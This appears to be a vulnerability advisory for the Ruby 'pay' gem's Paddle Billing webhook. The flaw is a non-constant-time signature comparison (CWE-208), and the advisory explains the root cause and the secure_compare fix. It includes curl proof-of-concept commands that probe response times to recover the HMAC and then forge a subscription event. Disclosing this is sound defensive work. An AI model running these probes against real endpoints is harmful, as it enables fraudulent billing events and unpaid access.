pay: Paddle Billing Webhook Signature Timing Oracle (CWE-208)
The pay gem compared Paddle Billing webhook signatures with Ruby's non-constant-time == operator, letting an attacker recover the real HMAC byte-by-byte from response-time differences and forge arbitr
The problem
In pay <= 11.6.1, the method `Pay::Webhooks::PaddleBillingController#valid_signature?` computes an HMAC-SHA256 over the raw webhook body and then compares it to the attacker-supplied `h1=` token from the `Paddle-Signature` header using plain Ruby `String#==`.
Ruby's `==` (MRI `rb_str_equal`) short-circuits on the first mismatching byte. Because the endpoint is internet-reachable by design (Paddle must POST events to it), an attacker can probe it with guessed signatures and use response-time distributions to recover the real hex digest one byte at a time.
A fully recovered signature lets the attacker deliver forged webhook events (`subscription.created`, `transaction.completed`, etc.) that trigger `Pay::Webhooks::ProcessJob`, which downstream apps use to provision paid features and record refunds.
Proof of concept
A working proof-of-concept for this issue in pay, with the exact payload below.
# Timing oracle: send two probes and compare response times.
# A longer avg time on the second request confirms the first hex char matches.
WEBHOOK="http://target.example.com/pay/webhooks/paddle_billing"
BODY='{"event_type":"transaction.completed","data":{}}'
TS=$(date +%s)
# Probe 1: fully wrong prefix (0000...)
curl -s -w '%{time_total}\n' -o /dev/null \
-X POST \
-H "Paddle-Signature: ts=$TS;h1=0000000000000000000000000000000000000000000000000000000000000000" \
-H 'Content-Type: application/json' \
-d "$BODY" "$WEBHOOK"
# Probe 2: first char matches real HMAC prefix (e.g. 'a')
# If avg(Probe 2) > avg(Probe 1), 'a' is the correct first byte.
curl -s -w '%{time_total}\n' -o /dev/null \
-X POST \
-H "Paddle-Signature: ts=$TS;h1=a000000000000000000000000000000000000000000000000000000000000000" \
-H 'Content-Type: application/json' \
-d "$BODY" "$WEBHOOK"
# Repeat across all 16 candidates per position (0-9, a-f) for all 64 hex chars.
# Once all 64 chars are recovered, forge a real event:
curl -s -X POST \
-H "Paddle-Signature: ts=$TS;h1=<recovered_64_char_hmac>" \
-H 'Content-Type: application/json' \
-d '{"event_type":"subscription.created","data":{"id":"sub_fake","status":"active"}}' \
"$WEBHOOK"The root cause is a single line in `paddle_billing_controller.rb`: `hmac == h1`. Ruby's `String#==` exits at the first byte that differs, so a 64-char hex digest leaks timing information for every position. An attacker who can send enough probes per candidate byte can statistically resolve the correct nibble from the response-time distribution, recovering the full digest without knowing the signing secret.
The patch (suggested in the advisory) replaces the bare `==` with `ActiveSupport::SecurityUtils.secure_compare`, which XORs all bytes unconditionally and only inspects the result at the end. A length-equality guard (`hmac.bytesize != h1.bytesize`) is added first so that short inputs cannot cause the fallback `==` path that older Rails versions used inside `secure_compare`.
This is the standard CWE-208 fix for any secret-comparison path.
The fix
Upgrade the `pay` gem to a version that includes the `secure_compare` patch (any release after 11.6.1). Until a patched gem is published, monkey-patch `valid_signature?` in an initializer to use `ActiveSupport::SecurityUtils.secure_compare(hmac, h1)` with a prior bytesize equality check.
Never use `==` to compare attacker-controlled values against secrets.
Reported by tonghuaroot.
Related research
- high · 8.2CVE-2026-49998CVE-2026-49998: Centrifugo Cross-Issuer JWT Authentication Bypass via JWKS Kid Cache Collision
- high · 8.8CVE-2026-41053CVE-2026-41053: Rancher GitHub App Auth Over-Inclusive Team Membership Expansion
- critical · 8.4CVE-2026-41052CVE-2026-41052: Rancher Project Owner Privilege Escalation to Host
- critical · 9.1CVE-2026-49457CVE-2026-49457: erlang/quic Broken TLS Certificate Verification (MITM)